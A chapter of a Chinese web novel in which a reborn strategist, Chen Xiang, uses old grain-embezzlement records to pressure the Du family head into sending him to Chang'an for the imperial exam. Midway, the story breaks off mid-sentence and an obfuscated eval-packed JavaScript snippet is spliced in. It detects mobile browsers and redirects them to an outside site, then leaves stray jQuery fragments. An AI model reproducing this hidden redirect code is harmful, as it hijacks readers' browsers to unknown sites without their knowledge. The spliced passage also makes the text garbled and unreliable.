武安侯,陈襄。
即使对方已经死去了七年,仍积威甚重,想到他的手段,天下之人仍为之胆寒。
杜勉顾不上去管那泼洒到他衣袖上的酒水,脸色铁青地瞪着陈襄:“武安侯行径之丧心病狂,早已被天下人唾骂!你以为用此事便能恐吓老夫?!”
陈襄却像是什么都没发生一般,只无辜地眨眨眼睛,道:“杜家主误会了,我说的并非此事。”
杜勉面色阴沉地盯着陈襄。
陈襄话锋一转,语气淡淡道:“炎兴三年,荆州本应供给朝廷的粮草为二十万石。”
他顿了顿,目光扫过杜勉那张顷刻变色的脸,继续说道:“——可实际上,运抵前线的,只有区区二万石。足足少了九成。”
“炎兴二年,荆州上报的粮草数目是三十五万石,实际运到的,不足八万石。”
“炎兴元年……”
陈襄每报出一个数字,杜勉的脸色就更加难看一分。
杜勉胡须颤抖,心中只有一个想法。
——他为何会知道的如此清楚?
陈襄一边念出这些被系统整理好的数据,一边思绪飘飞到了那段艰难的岁月。
炎兴三年,是主公殷尚迎立前朝少帝的第三个年头。
那一年,中原大地遭遇百年不遇的大旱,百姓颗粒无收,饿殍遍野。士族却囤积着大量的粮食,不肯拿出来赈济灾民。
即使以皇帝名义命令他们供给朝廷赈灾粮草,那些士族也因见主公有崛起之势而迟迟不肯拨付,更是阻挠原本官仓的调度供给。
他们想让主公这个从草根崛起的军阀向他们这些高高在上的士族低头。
但主公不会低头。
他陈襄也不会。
乱世当中,拳头才是硬道理。
既然不给,那他就去抢!
“……虽说那几年大旱,但官仓之中不可能没有存粮,”陈襄的声音平缓而低沉,“可这些粮食,都去哪儿了呢?”
他抬眼直视杜勉的眼睛,语气幽幽地开口:“我记得当时负责押运粮草的掾史,正是杜家人罢?”
他当时因着处理徐州之战的战后……还有一些别的事情焦头烂额。
不供给粮草的并非只有荆徐二地,此战目的业已达到:一为获得粮草,二为震慑那些不安分的人。杜家又抱着陈家大腿,他也无暇顾及这些小人物。
然而此时,他却又将此事提了出来。
杜勉额头渗出细密汗珠。
他已明白陈襄的未尽之意。
这件事本来在士族当中心照不宣,又已经过去了十一年,说大不大,说小不小。
但武安侯死去,陈家倒台,并不仅意味着一个家族的落魄,更意味着背后利益的重新洗牌。
曾经依附于陈家的势力接连倒塌,无数双眼睛正虎视眈眈地盯着这些空出来的利益和地盘。
就单拿这小小的零陵郡来说,除了杜家之外,还有卢家、范家。
一旦杜家贪污粮草的丑闻被人掀出来,他们会放过这个千载难逢的机会么?
而现任的荆州刺史,为了巩固自己的地位,为了向新朝廷表忠心,会不会也顺手将杜家处理掉,作为一份邀功的“功绩”呢?
陈襄轻轻叹了口气:“杜家主,您身后还有整个杜家,需深思熟虑啊。”
字字如刀,直戳杜勉心底。
杜勉目光骇然地看向这个身量单薄、面上尤带病容的少年。
陈襄还是像先前那样静静地坐于下位,但杜勉却再也无法像先前那样只把他当做一个乳臭未干的黄口小儿。
他不知道陈襄的年纪如此之轻,到底是如何知晓当年之事的。更令他心神巨震的是,他竟从陈襄那气定神闲、却一刀见血的手段当中,看到了当年那位令天下人闻风丧胆的,武安侯的影子!
“你……你究竟想做什么?!”
陈襄没有立刻回答。
他慢条斯理地端起酒杯,不疾不徐地抿了一口。
大堂内一片死寂。所有人都屏住了呼吸,气氛仿佛凝固了般,落针可闻。
良久,陈襄才缓缓放下酒杯:“今年的科举会试,也快要开始了罢?”
杜勉的冷汗涔涔而下,却被这突如其来的转折弄得一头雾水。
他完全摸不透陈襄的意图,只能强自镇定下来,硬着头皮问道:“你这是何意?此事与科举有何干系?”
陈襄轻笑一声:“杜家主不必紧张。我只是希望,杜家主能将我送去长安,参加科举。”
杜勉瞪大了眼睛,几乎不敢相信自己的耳朵:“你、你只是要求这个?!”
“对,就是这个。”陈襄装模作样地叹了口气,“杜家好心收留了襄,但襄却不忍心连累杜家啊。”
杜勉:“……”
杜勉的表情扭曲成了一团。
陈襄道:“借科举之名将我送走,既已算是杜家对陈家仁至义尽,又不用担心收留我会引来什么祸事,与陈家彻底完成切割,岂不两全其美?”
杜勉心中惊疑不定。
他实在想不明白,为何陈襄会提出这样一个要求。
按理说,陈家既已败落,陈襄最应该做的就是找个地方隐姓埋名。可他却偏偏要去长安,主动往漩涡里跳,这岂非自寻死路?
他难道不知道,想对陈家赶尽杀绝之人,最大的可能便是在长安城内吗?!
“不可!”
还未等杜勉说话,杜旭就忍不住站起身,大声反对。
陈襄刚刚的那番表现让杜旭瞠目结舌,他惊觉自己从来都没有真正的了解过这位被他好心收留的少年。
虽知晓陈襄并不是什么小可怜,但杜旭还是担忧地看向陈襄,语气焦急道:“长安乃是是非之地,你如今的身份怎可再到那里去?万万不可啊!”
陈襄心中一声感叹。
这位能在陈家败落后收留陈湘的杜家二老爷,倒是一番真心。
他缓缓起身,对着杜旭一揖:“伯父的好意,小侄心领了。只是陈家遭此大难,我身为陈家子弟岂能苟且偷生。”
“此番进京,一为求取功名,重振陈家门楣;二也为查明真相,以直报怨。”
他此番话说得义正言辞,掷地有声,将一个心怀家族、不畏艰险的世家子弟形象表演的淋漓尽致。
杜旭眼中闪过一丝感动之色,还想再劝,却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647331|172757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被杜勉用严厉的眼神制止。
“好!好!”
杜勉长吸一口气:“既然你执意如此,那老夫自然要答应!过几日,你便同衡儿一同出发,去长安参加科举!”
不管陈襄到底是怎么想的,既然他自己提出要去长安送死,杜勉自是求之不得。
他巴不得陈襄这个烫手山芋早日离开杜家、离开零陵!
陈襄的目的达成,也不吝礼貌一笑,向杜勉行礼道:“那便多谢杜家主义薄云天、深明大义了。”
杜勉的表情再次扭曲。
……
宴会散后,陈襄被一名侍女引着回到房中。
那侍女先前也在宴上侍奉,目睹了方才的刀光剑影,现下竟不敢直视陈襄。
她低眉顺眼地将陈襄送至门口,陈襄道了声谢,侍女竟一脸恐惧,匆匆一礼后如受惊的小兔般急忙跑走。
陈襄见状,不免在心中一叹:终于找回上辈子熟悉的感觉了。
他走入房间,将外袍脱下随手一扔,拔下发簪令黑发泼洒下来。而后便一头栽进柔软的被褥当中。
疲惫之感顿时涌上心头。
病来如山倒,病去如抽丝。陈襄上辈子身体健康很少生病,这次可算体会到了重病缠身的感觉。
病还没好全呢,就要费心费力地与人勾心斗角。
陈襄不禁回忆起了他那位潇洒的同僚。此君身体不好,三天一小病五天一大病,却还能精神焕发、放浪形骸。
“……真不知那家伙是如何做到的。”陈襄双目放空,喃喃自语。
借科举之名重返长安,是陈襄前几日思考后做出的决定。
他死去七年,对如今的世事变化所知甚少,再无法像之前那般掌上观文。若想完成任务,找出那欲为祸天下的仇人,必须得亲自前往都城长安。
陈襄猜测既然此人对他恨意如此深重,那或许就是覆灭陈家的幕后之人,即使不是也定然有所关联。
他如今的身份是陈家遗孤,无法躲避,那就光明正大地走到矛盾的最中心去。
他最不惧的就是以身为饵。
就让他看看,他好不容易平定了的天下,又有谁在搞事!
陈襄陷在柔软的被褥里,整个人像一尾搁浅的鱼。他心中思绪翻飞。
那些被他上辈子得罪过的仇人们,如今怕是都已在朝堂上身居高位了罢?
当初主公出身不好,那些个自诩清高的名士一个个眼高于顶,压根儿不愿投效。以至于,他的绝大部分“同僚”,都是不情不愿的被他强取豪夺来的。
包括但不限于诱拐、威胁、绑架、俘虏……
咳。
想到这里,陈襄心虚地咳嗽一声。
没办法,谁让正经途径招揽不来人才呢?他只能另辟蹊径。
强扭的瓜虽然不甜,但是解渴,陈襄自我安慰。不然随着主公的势力逐步扩大,他一个人拆东墙补西墙,实在是忙不过来。
他也是被逼无奈啊!
陈襄咸鱼翻了个身,对着帐顶的雕花双眼放空,思绪飘到了那个一直徘徊在他脑海中的身影身上。
——荀珩。
他的师兄。